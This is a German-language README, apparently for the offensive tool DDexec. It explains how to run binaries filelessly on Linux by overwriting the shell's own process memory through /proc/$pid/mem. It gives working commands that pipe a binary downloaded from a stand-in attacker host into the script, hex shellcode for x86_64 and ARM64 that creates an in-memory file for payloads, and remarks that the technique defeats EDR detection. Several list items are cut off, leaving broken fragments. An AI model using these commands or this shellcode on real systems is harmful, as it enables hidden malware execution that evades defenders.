
Eine Technik, um Binärdateien dateilos und versteckt unter Linux auszuführen, indem der Prozess der Shell mit einem anderen "überschrieben" wird.
Ich habe DDexec so stark überarbeitet, dass es kaum wiederzuerkennen ist. Das Parsing der ELF wird jetzt durch Maschinencode statt durch das Shell-Skript erledigt, was es wesentlich schneller, zuverlässiger und verständlicher macht. Zudem wurde die Anzahl der Abhängigkeiten auf das absolute Minimum reduziert.
Es hängt jetzt auch kaum noch von der Rechenarithmetik der Shell ab, was dazu führen könnte, dass es unter Android funktioniert.
Unter Linux muss ein Programm als Datei existieren, um ausgeführt zu werden – es muss auf irgendeine Weise über die Dateisystemhierarchie zugänglich sein (so funktioniert execve() einfach). Diese Datei kann auf der Festplatte oder im RAM (tmpfs, memfd) liegen, aber man benötigt einen Dateipfad. Dies macht es sehr einfach zu kontrollieren, was auf einem Linux-System ausgeführt wird, erleichtert die Erkennung von Bedrohungen und Angreifer-Werkzeugen oder verhindert, dass diese überhaupt versuchen, eigene Programme auszuführen (z. B. indem nicht-privilegierte Benutzer keine ausführbaren Dateien ablegen dürfen).
Nun, wenn man den gewünschten Prozess nicht starten kann ... dann kapert und quält man einen bereits existierenden, bis er den eigenen Wünschen entspricht.
Übergebe das auszuführende Binary per Pipe an das ddexec.sh-Skript. Die Argumente für das Skript sind die Argumente für das Programm (beginnend mit argv[0]).
Hier, probier das:
bash ddexec.sh ls -lA < /bin/ls
was sich leicht mit etwas wie
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar
bewaffnen lässt.
Es gibt auch das Skript ddsc.sh, mit dem man Maschinencode direkt ausführen kann.
Das folgende Beispiel zeigt die Verwendung eines Shellcodes, der einen memfd (einen Dateideskriptor, der auf eine Datei im Speicher verweist) erstellt, in den wir später Binaries schreiben und ausführen können – natürlich aus dem Speicher.
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4
Unter ARM64 ist der Vorgang der gleiche.
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"
Getestete Linux-Distributionen sind Debian, Alpine und Arch. Unterstützte Shells sind bash, zsh und ash (busybox); auf x86_64 und aarch64 (arm64)-Architekturen.
Seit dem 12.12.2022 habe ich eine Reihe von Alternativen zu dd gefunden. Eine davon, tail, ist derzeit das Standardprogramm, das für lseek() durch die mem-Datei verwendet wird (was der alleinige Zweck von dd war). Diese Alternativen sind:
tail
hexdump
cmp
xxd
Durch Setzen der Variable SEEKER kann der verwendete Seeker geändert werden, z. B.:
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
Wenn Sie einen anderen gültigen Seeker finden, der nicht im Skript implementiert ist, können Sie ihn trotzdem verwenden, indem Sie die Variable SEEKER_ARGS setzen:
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
Blockiert das, EDRs.
Dieses Skript benötigt die folgenden Tools, um zu funktionieren.
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | jedes andere Programm, mit dem wir durch einen fd seeken können
Im Fall von ash sind tail, dd, hexdump, cmp und xxd built-ins, stellen also eigentlich keine Abhängigkeit dar.
Hinweis: Es funktioniert nur mit modernen Versionen von busybox – die genaue älteste Version habe ich nicht überprüft. Ich weiß, dass es mit v1.35.0 funktioniert, aber nicht mit v1.30.0.
Wenn man den Speicher eines Prozesses beliebig ändern kann, kann man ihn übernehmen. Dies kann verwendet werden, um einen bereits existierenden Prozess zu kapern und durch ein anderes Programm zu ersetzen. Wir erreichen dies entweder durch den ptrace()-Syscall (der die Fähigkeit erfordert, Syscalls auszuführen oder gdb auf dem System verfügbar zu haben) oder – interessanterweise – durch Schreiben in /proc/$pid/mem.
Die Datei /proc/$pid/mem ist eine eins-zu-eins-Abbildung des Userspace-Adressraums eines Prozesses (z. B. von 0x0 bis 0x7ffffffffffff000 auf x86-64). Das bedeutet, dass das Lesen oder Schreiben in diese Datei an einem Offset x dem Lesen oder Ändern des Inhalts an der virtuellen Adresse x entspricht.
Nun haben wir drei grundlegende Probleme:
Aber wir haben clevere Lösungen:
mem-Datei der Shell zeigt ... so können Kindprozesse, die diesen fd verwenden, den Speicher der Shell ändern.maps-Datei der Shell aus dem procfs überprüfen, um Informationen über die Adressraumstruktur des Prozesses zu erhalten.lseek() über die Datei ausführen. Von der Shell aus kann dies mit einigen gängigen Binaries wie tail oder dem berüchtigten dd erfolgen – siehe den Abschnitt EverythingExec für weitere Informationen.Die Schritte sind relativ einfach und erfordern keinerlei Fachwissen:
/proc/$pid/syscall holen wir die Adresse, zu der der Prozess zurückkehrt, nachdem der aktuell ausgeführte Syscall beendet ist – da wir diese Datei lesen, handelt es sich bei diesem Syscall um read(), und die Adresse wird im read()-Wrapper der libc liegen. Dies dient nur dazu, eine Stelle zu finden, an der unser Stager in Kürze sein wird.mem können wir auch nicht beschreibbare Seiten modifizieren). Dieser Stager wird einen größeren Shellcode auslesen und ausführen.execve() ausführt:
Der Shellcode wurde durch Kompilieren von loader.c und Nachbearbeiten des Assemblers erstellt, um viele vom Compiler eingeführte Artefakte zu entfernen und zu vereinfachen.
Nun, es gibt ein paar TODOs. Außerdem ist mir vielleicht aufgefallen, dass ich nicht viel über Shell-Scripting weiß (ich bin eher ein C-Programmierer), und ich bin sicher, dass ich mit einem Bruchteil dieses Projekts einen Jahrzehnt-vollen "useless use of cat"-Award gewonnen habe – bei der Erstellung dieses Tools wurden keine Katzen verletzt – und den Rest der Varianten gleich mit.
— Portierung auf andere Shells – im Grenzfall sollten wir das Skript POSIX-konform machen.
Wie auch immer, du kannst gerne forken und PRs einreichen. Bitte beachte jedoch bei Beiträgen, dass PRs, die die Funktionalität auf den unterstützten Shells beeinträchtigen, nicht akzeptiert werden – das ist kein Beitrag, sondern einfach nur das Zerstören von Dingen. Am besten wären Änderungen, die POSIX-konform sind.
Bitte, bitte, bitte, überprüfe deinen Code, ob er auf den unterstützten Shells funktioniert, zumindest auf Debian und Alpine. Es sind nur ein paar Docker-Container.
Nachdem ich dieses Tool veröffentlicht hatte, erfuhr ich, dass Sektor7 bereits vor einigen Jahren genau diese Technik in ihrem Blog veröffentlicht hatte.
Trotzdem habe ich diese Technik – mittlerweile fast vollständig – unabhängig entwickelt. Der wahrscheinlich klügste Teil dieser Technik ist die Verwendung des geerbten Dateideskriptors, eine Idee, die David Buchanan (inspiriert von Sektor7s Blog) bereitgestellt hatte, fast ein Jahr bevor ich überhaupt begann, über dieses Thema nachzudenken. Das allein macht die Technik nicht nur viel einfacher und eleganter, sondern auch weitaus tödlicher, da die Notwendigkeit entfällt, ASLR zu deaktivieren.
Wie auch immer, ich hoffe, ich kann diese Technik noch viel weiter verbreiten – das ist es, was zählt.
Ich möchte Carlos Polop danken, einem großartigen Pentester und noch besseren Freund, dafür, dass er mich zum Nachdenken über dieses Thema angeregt hat, und für sein hilfreiches Feedback und Interesse; ach ja, ich schulde ihm auch den Namen des Projekts. Ich bin sicher, dass du, wenn du dies liest, bereits sein fantastisches Tool PEASS verwendet und hilfreiche Artikel in seinem Buch HackTricks gefunden hast.
Du könntest:
mem-Datei kompiliert wurde.Du kannst mich über Twitter erreichen.